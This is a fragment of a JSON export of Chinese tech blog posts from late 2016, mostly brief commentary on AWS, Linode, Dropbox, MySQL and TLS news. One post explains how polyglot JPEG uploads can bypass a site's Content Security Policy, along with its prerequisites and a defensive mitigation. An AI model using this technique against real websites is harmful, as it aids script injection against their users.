    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在香港又增加機房了，這樣就是香港的第三個機房... 畢竟還是亞洲區頻寬成本相較起來比較低的地方 (也是很多東南亞國家會交換的地區)，有對應的需求就可以擴充：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/11/announcing-third-edge-location-in-hong-kong-for-amazon-cloudfront/\">Announcing Third Edge Location in Hong Kong for Amazon CloudFront</a>」。\r\n\r\n不過話說回來，台灣 PoP 其實主要還是卡中華的頻寬，像這樣三個圖可以理解為那個瞬間 <a href=\"http://www.hinet.net/\">HiNet</a> 與 CloudFront 之間的頻寬滿了 (分別是從 HiNet、<a href=\"http://www.tfn.net.tw/\">TFN</a>、<a href=\"https://www.fetnet.net/\">FET</a> 去 ping <a href=\"https://aws.amazon.com/\">AWS</a> 官網自己用的 <code>d36cz9buwru1tt.cloudfront.net</code>，取自 <a href=\"https://smokeping.kkbox.com.tw/\">smokeping.kkbox.com.tw</a> 這邊)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IEo2qNX.webp\" /><img src=\"https://i.gslin.com/imgur/IEo2qNX.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/81zOFcl.webp\" /><img src=\"https://i.gslin.com/imgur/81zOFcl.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Z3UnON0.webp\" /><img src=\"https://i.gslin.com/imgur/Z3UnON0.jpg\" alt=\"\" /></picture>\r\n\r\n不過還是有時候可以看到全部導走，是 capacity 突然滿掉嗎？這就有點奇怪了...",
    "title": "CloudFront 持續擴建：香港"
  },
  {
    "id": "6966",
    "body": "應該是 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 前夕，有不少東西都先發表出來了... 這次是公開 <a href=\"https://aws.amazon.com/workspaces/\">Amazon WorkSpaces</a> 可以透過瀏覽器登入操作了：「<a href=\"https://aws.amazon.com/blogs/aws/new-web-access-for-amazon-workspaces/\">New – Web Access for Amazon WorkSpaces</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xZE7V33.webp\" /><img src=\"https://i.gslin.com/imgur/xZE7V33.jpg\" alt=\"\" /></picture>\r\n\r\n話說回來，後來才知道這種服務是配著像是「<a href=\"http://www8.hp.com/us/en/thin-clients/amazon.html\">Amazon WorkSpaces with HP Zero Client Computing</a>」這樣的硬體在用... 不過對於靠電腦吃飯的還是用 Laptop 或是 Desktop 會比較順暢就是了 :o",
    "title": "Amazon WorkSpaces 可以透過瀏覽器直接存取了"
  },
  {
    "id": "6967",
    "body": "由於 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 要支援 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> 的緣故，在「<a href=\"https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/VJYX1Wnnhiw\">Mozilla CT Policy</a>」這邊 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在討論要建立自己的 CT policy 以及自己的架構：\r\n\r\n<blockquote>CT is coming to Firefox. As part of that, Mozilla needs to have a set of CT policies surrounding how that will work. Like our root inclusion program, we intend to run our CT log inclusion program in an open and transparent fashion, such that the Internet community can see how it works and how decisions are made.</blockquote>\r\n\r\n這樣就有個開頭了...",
    "title": "Mozilla 也在考慮對 Certificate Transparency 的掌握度"
  },
  {
    "id": "6968",
    "body": "不愧是 <a href=\"https://www.google.com/\">Google</a> 在後面撐腰，<a href=\"https://golang.org/\">Golang</a> 找人設計了一整套字型，叫做「<a href=\"https://blog.golang.org/go-fonts\">Go fonts</a>」：\r\n\r\n<blockquote>The Go fonts are divided into two sets, Go proportional, which is sans-serif, and Go Mono, which is slab-serif.</blockquote>\r\n\r\n不過看了一下 monospace 的部份，有點微妙：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AiuX9q5.webp\" /><img src=\"https://i.gslin.com/imgur/AiuX9q5.jpg\" alt=\"\" /></picture>\r\n\r\n其他兩個也許哪天換心情來用看看好了 :o",
    "title": "Golang 本身也出字型了..."
  },
  {
    "id": "6969",
    "body": "大家等 <a href=\"https://www.linode.com/\">Linode</a> 的東京新機房很久了，總算是開了：「<a href=\"https://blog.linode.com/2016/11/21/new-linode-datacenter-tokyo-2/\">New Linode Datacenter: Tokyo 2</a>」。\r\n\r\n在 comment 有特別提到東京一號機房不會擴充：\r\n\r\n<blockquote>Tokyo 1 is at capacity and we have no plans to add any additional. You will need to move out of Tokyo 1 for plan upgrades, KVM, newest hardware, and so on.</blockquote>\r\n\r\n該來搬了 XDDD",
    "title": "Linode 東京二號機房開幕"
  },
  {
    "id": "6970",
    "body": "怎麼這麼多消息啊... 這次是 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 宣佈提供固定 IP 服務：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/11/amazon-ses-now-offers-dedicated-ip-addresses/\">Amazon SES Now Offers Dedicated IP Addresses</a>」。\r\n\r\n這樣可以減少被其他人影響到 reputation，提昇穩定度：\r\n\r\n<blockquote>Amazon Simple Email Service (Amazon SES) now offers dedicated IP addresses, which enable you to manage the reputation of the IP addresses that Amazon SES uses to send your email.</blockquote>\r\n\r\n而要用這個功能的人要額外申請：\r\n\r\n<blockquote>To request dedicated IPs, open an SES Sending Limits Increase Case in Support Center. In the use case details, specify that you are requesting dedicated IPs.</blockquote>",
    "title": "Amazon SES 的固定 IP 服務"
  },
  {
    "id": "6971",
    "body": "這次 <a href=\"https://aws.amazon.com/\">AWS</a> 對 storage 類調降了不少幅度，包括了 <a href=\"https://aws.amazon.com/\">S3</a> 與 <a href=\"https://aws.amazon.com/glacier/\">Glacier</a>：「<a href=\"https://aws.amazon.com/blogs/aws/aws-storage-update-s3-glacier-price-reductions/\">AWS Storage Update – S3 &amp; Glacier Price Reductions + Additional Retrieval Options for Glacier</a>」。\r\n\r\nS3 的部份降幅都不算低，要注意的是這次是 2016/12/01 開始，並沒有回朔：\r\n\r\n<blockquote>We are reducing the per-GB price for S3 Standard Storage in most AWS regions, effective December 1, 2016.</blockquote>\r\n\r\n另外 Glacier 則是大幅調降：\r\n\r\n<blockquote>We are also reducing the price of Glacier storage in most AWS Regions. For example, you can now store 1 GB for 1 month in the US East (Northern Virginia), US West (Oregon), or EU (Ireland) Regions for just $0.004 (less than half a cent) per month, a 43% decrease. For reference purposes, this amount of storage cost $0.010 when we launched Glacier in 2012, and $0.007 after our last Glacier price reduction (a 30% decrease).</blockquote>\r\n\r\n而 Glacier 取資料的方式也改成三種不同版本，主要是差在要等多久才能取得資料：\r\n<ul>\r\n\t<li>Standard (對應到本來的版本，通常約 3 到 5 個小時)</li>\r\n\t<li>Expedited (速度快很多，一般的情況下約 1 到 5 分鐘，如果要保證的話可以買 Provisioned capacity)</li>\r\n\t<li>Bulk (通常約 5 到 12 小時)</li>\r\n</ul>\r\n\r\n當然取得的成本也差很大，不過這樣彈性變得很不錯...",
    "title": "Amazon S3 與 Glacier 的降價..."
  },
  {
    "id": "6972",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 為了加速傳輸，在全球到處建機房降低 latency：「<a href=\"https://blogs.dropbox.com/tech/2016/11/infrastructure-update-pushing-the-edges-of-our-global-performance/\">Infrastructure Update: Pushing the edges of our global performance</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FMQyl4l.webp\" /><img src=\"https://i.gslin.com/imgur/FMQyl4l.jpg\" alt=\"\" /></picture>\r\n\r\n就他們測試發現，透過 proxy server 降低 latency 的效果很不錯：\r\n\r\n<blockquote>We’ve tested and applied this configuration in various markets in Europe and Asia. In France, for example, median download speeds are 40% faster after introducing proxy servers, while median upload speeds are approximately 90% faster. In Japan, median download speeds have doubled, while median upload speeds are three times as fast.</blockquote>\r\n\r\n亞洲區是效能增加最多的...",
    "title": "Dropbox 在全球建機房加速..."
  },
  {
    "id": "6973",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 宣佈支援 t2.medium：「<a href=\"https://aws.amazon.com/blogs/aws/use-amazon-aurora-for-dev-test-workloads-with-new-t2-medium-db-instance-class/\">Use Amazon Aurora for Dev & Test Workloads with new T2.Medium DB Instance Class</a>」。\r\n\r\n雖然官方的文章標題是寫提供給 dev &amp; test 情境下使用，但其實對於某些 production 應該也不錯：\r\n\r\n<blockquote>The db.t2.medium should be a great fit for many of your development and test scenarios, and you should also consider them for some of your less-demanding production workloads.</blockquote>\r\n\r\n沒提供更低的 t2.small 有點可惜...",
    "title": "Amazon Aurora 支援 t2.medium..."
  },
  {
    "id": "6974",
    "body": "<a href=\"https://aws.amazon.com/sqs/\">Amazon SQS</a> 支援 FIFO 了：「<a href=\"https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html\">FIFO (First-In-First-Out) Queues</a>」。新的 FIFO Queue 有保證順序，但也因此效能上有限制：\r\n\r\n<blockquote>In addition to having all the capabilities of the standard queue, FIFO (First-In-First-Out) queues are designed to enhance messaging between applications when the order of operations and events is critical, or where duplicates can't be tolerated. FIFO queues also provide exactly-once processing but are limited to 300 transactions per second (TPS).</blockquote>\r\n\r\n可以看到舊版的 FAQ 對於 FIFO 的回答是 Standard Queue 會盡力做到 FIFO，但不保證：(出自 <a href=\"https://web.archive.org/web/20160826090439/https://aws.amazon.com/sqs/faqs/\">2016/08/26 的版本</a>)\r\n\r\n<blockquote>Q: Does Amazon SQS provide first-in-first-out (FIFO) access to messages?\r\n\r\nAmazon SQS provides a loose-FIFO capability that attempts to preserve the order of messages. However, we have designed Amazon SQS to be massively scalable using a distributed architecture. Thus, we can't guarantee that you will always receive messages in the exact order you sent them (FIFO).\r\n\r\nIf your system requires the order of messages to be preserved, place sequencing information in each message so that messages can be ordered when they are received.</blockquote>\r\n\r\n而現在則是名正言順的說有提供 FIFO 了：\r\n\r\n<blockquote>Q: Does Amazon SQS provide message ordering?\r\n\r\nYes. FIFO (first-in-first-out) queues preserve the exact order in which messages are sent and received. If you use a FIFO queue, you don't have to place sequencing information in your messages. For more information, see FIFO Queue Logic in the Amazon SQS Developer Guide.\r\n\r\nStandard queues provide a loose-FIFO capability that attempts to preserve the order of messages. However, because standard queues are designed to be massively scalable using a highly distributed architecture, receiving messages in the exact order they are sent is not guaranteed.</blockquote>",
    "title": "Amazon SQS 支援 FIFO 了"
  },
  {
    "id": "6976",
    "body": "雖然 <a href=\"https://twitter.com/markcallaghan\">Mark Callaghan</a> 現在的主力都在 <a href=\"https://code.facebook.com/posts/190251048047090/myrocks-a-space-and-write-optimized-mysql-database/\">MyRocks</a> 上，但他還是對 InnoDB 上的效能頗關注 (畢竟是個成熟而且競爭的產品)。而這篇「<a href=\"https://smalldatum.blogspot.com/2016/11/sysbench-innodb-transaction-isolation.html\">Sysbench, InnoDB, transaction isolation and the performance schema</a>」講到 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6.26 裡的 InnoDB，了解 isolation level 與 performance schema 對效能的差異。結果可以在<a href=\"https://gist.github.com/mdcallag/f661b8f5781c998cf67de812a11b1a30\">這邊</a>翻到。\r\n\r\n關掉 performance schema 會讓效能變好是預期的，不過看起來比預期小很多。另外某些情況下 RR (REPEATABLE-READ) 的效能會比 RC (READ-COMMITTED) 好倒是頗意外，這邊也有給出原因：\r\n\r\n<blockquote>Using repeatable-read boosts performance because it reduces the mutex contention from getting a consistent read snapshot as that is done once per transaction rather than once per statement.</blockquote>\r\n\r\n不過看了看數據，純粹讀取的部份 RC 會在某些地方快一些，不過整體來說在 MySQL 5.6.26 上的 RR 與 RC 差異真的不算太明顯了...",
    "title": "InnoDB 的 Isolation Level 以及 Performance Schema 對效能的影響"
  },
  {
    "id": "6977",
    "body": "在「<a href=\"https://smalldatum.blogspot.com/2016/11/myrocks-use-less-io-on-writes-to-have.html\">MyRocks: use less IO on writes to have more IO for reads</a>」這邊有提到當使用 Disk Array、Slow SSD 與 Fast SSD 時效能 <a href=\"https://code.facebook.com/posts/190251048047090/myrocks-a-space-and-write-optimized-mysql-database/\">MyRocks</a> 與 InnoDB 的效能差異。\r\n\r\n可以看到當 I/O 層能提供的 IOPS capacity 愈高，MyRocks 與 InnoDB 之間的差異就愈低... 換句話說，RocksDB 對 IOPS 比較有效率的應用，這點在「<a href=\"https://smalldatum.blogspot.com/2016/11/why-is-myrocks-more-write-efficient_22.html\">Why is MyRocks more write-efficient than InnoDB?</a>」這邊也可以看出一些說明 (不過這篇的 InnoDB 完全沒用 COMPRESSED)。\r\n\r\n算是推銷... 不過可以持續關注看看 :o",
    "title": "MyRocks 與 InnoDB 對於不同硬碟效能的差異"
  },
  {
    "id": "6979",
    "body": "在「<a href=\"https://github.com/drduh/macOS-Security-and-Privacy-Guide\">drduh/macOS-Security-and-Privacy-Guide</a>」這邊列出了許多保護方式，如果考慮到 <a href=\"https://en.wikipedia.org/wiki/Advanced_persistent_threat\">APT</a> 的話應該是個不錯的指南...\r\n\r\n不過考慮到相當硬，服用前請小心，有些步驟甚至需要拆機：\r\n\r\n<img src=\"https://i.gslin.com/imgur/z7xacla.jpg\" alt=\"\" />\r\n\r\n雖然整篇文章還頗硬的，但裡面講軟體的部份還是很不錯的指南，可以保護自己...",
    "title": "保護 macOS 的方法"
  },
  {
    "id": "6986",
    "body": "在「<a href=\"http://www.theverge.com/2016/11/28/13768612/att-users-directv-now-data-free\">AT&amp;T users will be able to stream DirecTV Now without using their data</a>」這邊才看到 FCC 在這個月月初針對電信商對特定服務的 zero rating 發出警告：「<a href=\"http://www.theverge.com/2016/11/10/13593810/fcc-att-net-neutrality-directv-zero-rating-sponsored-data-letter\">The FCC tells AT&amp;T it may be violating net neutrality with its DirecTV plans</a>」：\r\n\r\n<blockquote>AT&amp;T is far from the only US carrier to zero rate data. T-Mobile has been ostentatiously offering free data for music and movies for a year now, and Verizon also zero rates video from its Go90 app. But in zero rating DirecTV, the FCC thinks AT&amp;T may have gone too far.</blockquote>\r\n\r\nAT&amp;T 說任何人只要付錢都可以參加這個 plan：\r\n\r\n<blockquote>AT&amp;T’s argument is that any company that participates in its Sponsored Data program has to pay AT&amp;T for it, and that includes DirecTV.</blockquote>\r\n\r\n但問題還是在 AT&amp;T 擁有 <a href=\"http://www.directv.com/\">DirecTV</a>，所以是左手付到右手：\r\n\r\n<blockquote>Except, again, AT&amp;T owns DirecTV, so even if one division is paying another, the overall company still ends up not paying any money.</blockquote>\r\n\r\n而且這筆金額其實不小：\r\n\r\n<blockquote>The situation for other companies is very different — and the FCC believes that the price they’d have to pay is “significant[.]”</blockquote>\r\n\r\n不過總統快換人了，很有可能會往更糟的方向前進...",
    "title": "電信商對 Zero Rating 與網路中立性的問題"
  },
  {
    "id": "6987",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 宣佈支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-aurora-update-postgresql-compatibility/\">Amazon Aurora Update – PostgreSQL Compatibility</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dbRiJHf.webp\" /><img src=\"https://i.gslin.com/imgur/dbRiJHf.jpg\" alt=\"\" /></picture>\r\n\r\n宣稱效能是原來的兩倍：\r\n\r\n<blockquote><strong>Performance</strong> – Aurora delivers up to 2x the performance of PostgreSQL running in traditional environments.</blockquote>\r\n\r\n目前是 Preview 版本，需要另外申請才能用。",
    "title": "Amazon Aurora 支援 PostgreSQL"
  },
  {
    "id": "6988",
    "body": "這次 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 對 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的更新真是有夠多的，總集篇被整理在這邊：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-type-update-t2-r4-f1-elastic-gpus-i3-c5/\">EC2 Instance Type Update – T2, R4, F1, Elastic GPUs, I3, C5</a>」。\r\n\r\n先是 F1 系列提供 <a href=\"https://en.wikipedia.org/wiki/Field-programmable_gate_array\">FPGA</a> 能力：「<a href=\"https://aws.amazon.com/blogs/aws/developer-preview-ec2-instances-f1-with-programmable-hardware/\">Developer Preview – EC2 Instances (F1) with Programmable Hardware</a>」。\r\n\r\n再來是 T2 系列提供更大台的機器，不過往上提供的 CPU 級距還是 1.5 倍 (費用是 2 倍)，主要還是給量還不夠大的使用者使用，如果夠大的就應該換去 C 系列，加上 auto scaling 的方式降低成本：「<a href=\"https://aws.amazon.com/blogs/aws/new-t2-xlarge-and-t2-2xlarge-instances/\">New T2.Xlarge and T2.2Xlarge Instances</a>」。\r\n\r\n另外一個大賣點是 GPU 變成可以掛在各種機器上，雖然還沒推出：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-work-amazon-ec2-elastic-gpus/\">In the Works – Amazon EC2 Elastic GPUs</a>」：\r\n\r\n<blockquote>Today, you have the ability to set up freshly created EBS volumes when you launch new instances. You’ll be able to do something similar with Elastic GPUs, specifying the desired size during the launch process, with the option to stop, modify, and then start a running instance in order to make a change.</blockquote>\r\n\r\n最後是推出了 R4、I3 與 C5 系列，主要是在於硬體升級而更新。",
    "title": "Amazon EC2 的大量新資訊"
  },
  {
    "id": "6989",
    "body": "<a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 提供另外一種選擇，讓分析的便利性增加了許多：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-athena-interactive-sql-queries-for-data-in-amazon-s3/\">Amazon Athena – Interactive SQL Queries for Data in Amazon S3</a>」。\r\n\r\n以往都需要開 server 起來分析，這個新的服務直接使用就好：\r\n\r\n<blockquote>Athena is based on the Presto distributed SQL engine and can query data in many different formats including JSON, CSV, log files, text with custom delimiters, Apache Parquet, and Apache ORC.</blockquote>\r\n\r\n果然是用 <a href=\"https://prestodb.io/\">Presto</a> 改出來的... XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZlOnfGS.webp\" /><img src=\"https://i.gslin.com/imgur/ZlOnfGS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hyj5ePR.webp\" /><img src=\"https://i.gslin.com/imgur/hyj5ePR.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cgy7Gpw.webp\" /><img src=\"https://i.gslin.com/imgur/cgy7Gpw.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Z1rrr7a.webp\" /><img src=\"https://i.gslin.com/imgur/Z1rrr7a.jpg\" alt=\"\" /></picture>\r\n\r\n指定好各種資料來源之後直接下 SQL query 分析，然後依照分析的量來算錢... 而 FAQ 的地方也有提到可以透過 JDBC 接上去，這樣看起來跑報表的場合直接丟給他處理了：\r\n\r\n<blockquote>Amazon Athena can be accessed via the AWS management console and a JDBC driver. You can programmatically run queries, add tables or partitions using the JDBC driver.</blockquote>\r\n\r\n隔壁 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 的立場變得很尷尬啊，Amazon Athena 不需要養機器而且又可以直接從 Amazon S3 拉資料，如果之後把 Presto 對 RDBMS 的部分再補上來的話就更棒了... (應該是下一階段的任務，把 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 補上)",
    "title": "Amazon Athena：直接在 S3 上進行分析"
  },
  {
    "id": "6990",
    "body": "所以 <a href=\"https://aws.amazon.com/\">AWS</a> 決定也跳進來搞 VPS 服務了？推出了 <a href=\"https://amazonlightsail.com/\">Amazon Lightsail</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-lightsail-the-power-of-aws-the-simplicity-of-a-vps/\">Amazon Lightsail – The Power of AWS, the Simplicity of a VPS</a>」。\r\n\r\n定價策略就跟 VPS 一樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Q5YK0h3.webp\" /><img src=\"https://i.gslin.com/imgur/Q5YK0h3.jpg\" alt=\"\" /></picture>\r\n\r\n如果你熟悉數字的話，這其實跟 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的規格與價錢一模一樣 (參考「<a href=\"https://www.digitalocean.com/pricing/\">Pricing on DigitalOcean</a>」這頁)，連備份的 USD$0.05/GB/month 也相同。目前雖然只有 us-east-1 有，但看起來複製並不難...\r\n\r\nFAQ 裡有提到可以透過 VPC peering 連進 AWS：\r\n\r\n<blockquote>You can connect your Lightsail instances to VPC resources in your AWS account privately, by using VPC peering. Just choose Enable VPC peering on your Lightsail account page, and Lightsail does the work for you. Once VPC peering is enabled, you can address other AWS resources in your default AWS VPC by using their private IPs.</blockquote>\r\n\r\n有趣的是，這個頻寬費用超級便宜... 目前比較不確定的是 bandwidth 是不是 pool-based (沒用完的流量可以挪到其他機器上用)，另外這邊的頻寬計算方式是不是算 us-east-1 內？\r\n\r\n這個方案好有趣...",
    "title": "Amazon Lightsail：AWS 的 VPS 服務"
  },
  {
    "id": "6993",
    "body": "從 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://cloud.google.com/vision/\">Vision API</a>，到 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的 <a href=\"https://www.microsoft.com/cognitive-services/en-us/computer-vision-api\">Computer Vision API</a> (參考「<a href=\"https://blog.gslin.org/archives/2016/08/16/6737/%E5%BE%AE%E8%BB%9F%E4%B9%9F%E6%8E%A8%E5%87%BA%E5%9C%96%E7%89%87%E8%BE%A8%E8%AD%98%E7%9A%84-api-%E4%BA%86/\">微軟也推出圖片辨識的 API 了</a>」)，<a href=\"https://aws.amazon.com/\">AWS</a> 也推出類似的服務了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-rekognition-image-detection-and-recognition-powered-by-deep-learning/\">Amazon Rekognition – Image Detection and Recognition Powered by Deep Learning</a>」。\r\n\r\n與其他兩家都是類似的方式，丟圖進去然後用系統已經 train 好的資料給你分析結果... 然後依照次數算錢。\r\n\r\n有種算是補產品線的感覺啦...",
    "title": "Amazon Rekognition：圖片辨識 API"
  },
  {
    "id": "6994",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 這次推出的這兩個服務剛好成對：「<a href=\"https://aws.amazon.com/blogs/aws/polly-text-to-speech-in-47-voices-and-24-languages/\">Amazon Polly – Text to Speech in 47 Voices and 24 Languages</a>」、「<a href=\"https://aws.amazon.com/blogs/aws/amazon-lex-build-conversational-voice-text-interfaces/\">Amazon Lex – Build Conversational Voice & Text Interfaces</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/polly/\">Amazon Polly</a> 負責把文字唸出來變成語音，而 <a href=\"https://aws.amazon.com/lex/\">Amazon Lex</a> 則是將語音辨識回文字，不過目前都還不支援中文... 但畢竟讓 user interface 這塊變得更親民了，算是基礎建設中服務，讓 startup 專心在產品本身上。",
    "title": "Amazon Polly 與 Amazon Lex：人機介面中的語音處理"
  },
  {
    "id": "6996",
    "body": "其實老牌的 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 也改了不少東西：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/11/revolutionizing-s3-storage-management-with-4-new-features/\">Revolutionizing S3 Storage Management with 4 new features</a>」。\r\n\r\n其中的「S3 Object Tagging」讓管理可以透過 tag 處理，管理上會多一些選擇。而「S3 Analytics, Storage Class Analysis」則是可以分析存取的 pattern，藉此重新規劃 policy。\r\n\r\n看到之前的同事說 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 要支援 2-tier cache，但卻還沒看到公告，不知道是怎麼樣的實作方式... 這對大型的 live streaming 幫助很大啊，後面的壓力會小很多。",
    "title": "Amazon S3 的改善"
  },
  {
    "id": "6998",
    "body": "用 <a href=\"https://en.wikipedia.org/wiki/Content_Security_Policy\">CSP</a> 可以做到一些簡單的保護機制，但在設計不良的情況下還是有辦法繞過。\r\n\r\n這次是上傳合法的 JPEG 檔案，但當作 javascript 檔案繞過去：「<a href=\"http://blog.portswigger.net/2016/12/bypassing-csp-using-polyglot-jpegs.html\">Bypassing CSP using polyglot JPEGs</a>」。\r\n\r\n開頭的「<code>FF D8 FF E0</code>」可以在「<a href=\"https://en.wikipedia.org/wiki/List_of_file_signatures\">List of file signatures</a>」這邊看到是「JPEG raw or in the JFIF or Exif file format」，而這四個字元在 javascript 不會出問題。接下來的「<code>2F 2A</code>」表示 JPEG header 長度，剛好就是「<code>/*</code>」，把後面的東西給包起來，後面再用類似的方式一直組合就打穿了...\r\n\r\n這種攻擊要跳過的是「用 CSP 的 <code>self</code> 限制不能引用外部網站 javascript」的限制，但還是有些前提：\r\n\r\n<ul>\r\n\t<li>允許使用者傳到同一個 domain 上面。</li>\r\n\t<li>網站上有 XSS 漏洞。</li>\r\n</ul>\r\n\r\n其中第一個問題常見的解法是另外開一個 domain 來放使用者上傳的檔案 (最好是連 top domain 都不一樣，完全隔開)，才可以透過 CSP 降低風險...",
    "title": "利用上傳的檔案跳過 CSP 限制"
  },
  {
    "id": "6999",
    "body": "七月的時候提到「<a href=\"https://blog.gslin.org/archives/2016/07/08/6675/google-chrome-%E5%BC%95%E5%85%A5-cecpq1%EF%BC%8C%E9%96%8B%E5%A7%8B%E6%B8%AC%E8%A9%A6-post-quantum-cryptography/\">Google Chrome 引入 CECPQ1，開始測試 Post-Quantum Cryptography</a>」，剛剛看到 <a href=\"https://www.imperialviolet.org/\">Adam Langley</a> 寫了一些數據出來：「<a href=\"https://www.imperialviolet.org/2016/11/28/cecpq1.html\">CECPQ1 results</a>」。\r\n\r\n目前看起來對於網路速度不快的使用者會影響比較大，最慢的 5% 使用者大約慢了 20ms，最慢的 1% 使用者會慢 150ms：\r\n\r\n<blockquote>Although the median connection latency only increased by a millisecond, the latency for the slowest 5% increased by 20ms and, for the slowest 1%, by 150ms. Since NewHope is computationally inexpensive, we're assuming that this is caused entirely by the increased message sizes. Since connection latencies compound on the web (because subresource discovery is delayed), the data requirement of NewHope is moderately expensive for people on slower connections.</blockquote>\r\n\r\n由於實驗算是完成了，加上 TLS 已經有規劃了，所以 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 打算拔掉這個功能等標準出來：\r\n\r\n<blockquote>At this point the experiment is concluded. We do not want to promote CECPQ1 as a de-facto standard and so a future Chrome update will disable CECPQ1 support. It's likely that TLS will want a post-quantum key-agreement in the future but a more multilateral approach is preferable for something intended to be more than an experiment.</blockquote>",
    "title": "Google 測試 CECPQ1 的一些資料..."
  },
  {
    "id": "7000",
    "body": "經過多次改動後，微軟這次宣佈 SHA-1 certificate 將在明年淘汰：「<a href=\"https://blogs.windows.com/msedgedev/2016/11/18/countdown-to-sha-1-deprecation/\">SHA-1 deprecation countdown</a>」。\r\n\r\n影響的範圍包括 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\">Internet Explorer 11</a> 與 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Microsoft Edge</a>，在 2017 年 2 月 14 日之後不信任 SHA-1 certificate：\r\n\r\n<blockquote>Starting on February 14th, 2017, Microsoft Edge and Internet Explorer 11 will prevent sites that are protected with a SHA-1 certificate from loading and will display an invalid certificate warning.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KmMXjOx.webp\" /><img src=\"https://i.gslin.com/imgur/KmMXjOx.jpg\" alt=\"\" /></picture>\r\n\r\n與其他家類似，還是提供了管道讓企業內部建立的 SHA-1 certificate 可以用：\r\n\r\n<blockquote>This will only impact SHA-1 certificates that chain to a Microsoft Trusted Root CA. Manually-installed enterprise or self-signed SHA-1 certificates will not be impacted, although we recommend for all customers to quickly migrate to SHA-256.</blockquote>",
    "title": "微軟預定在 2017 年的西洋情人節淘汰 SHA-1 certificate"
  },
  {
    "id": "7001",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人討論了 InnoDB 提供的 buffer pool preload 功能：「<a href=\"https://www.percona.com/blog/2016/11/30/using-innodb-buffer-pool-pre-load-feature-mysql-5-7/\">Using the InnoDB Buffer Pool Pre-Load Feature in MySQL 5.7</a>」。\r\n\r\n就如同他所講的，因為硬體設備的進步 (主要是 SSD 的興起)，而導致 preload 的需求已經沒以前重要了：\r\n\r\n<blockquote>Frankly, time has reduced the need for this feature. Five years ago, we would typically store databases on spinning disks. These disks often took quite a long time to warm up with normal database workloads, which could lead to many hours of poor performance after a restart. With the rise of SSDs, warm up happens faster and reduces the penalty from not having data in the buffer pool.</blockquote>\r\n\r\n由於 SSD 的 random read 很快，反而可以直接推上線讓他邊跑服務邊 warm up。不過相對的，傳統硬碟的 InnoDB database 還是可以規劃需求，畢竟 random read 還是痛點...",
    "title": "InnoDB 的 buffer pool preload 功能"
  },
  {
    "id": "7002",
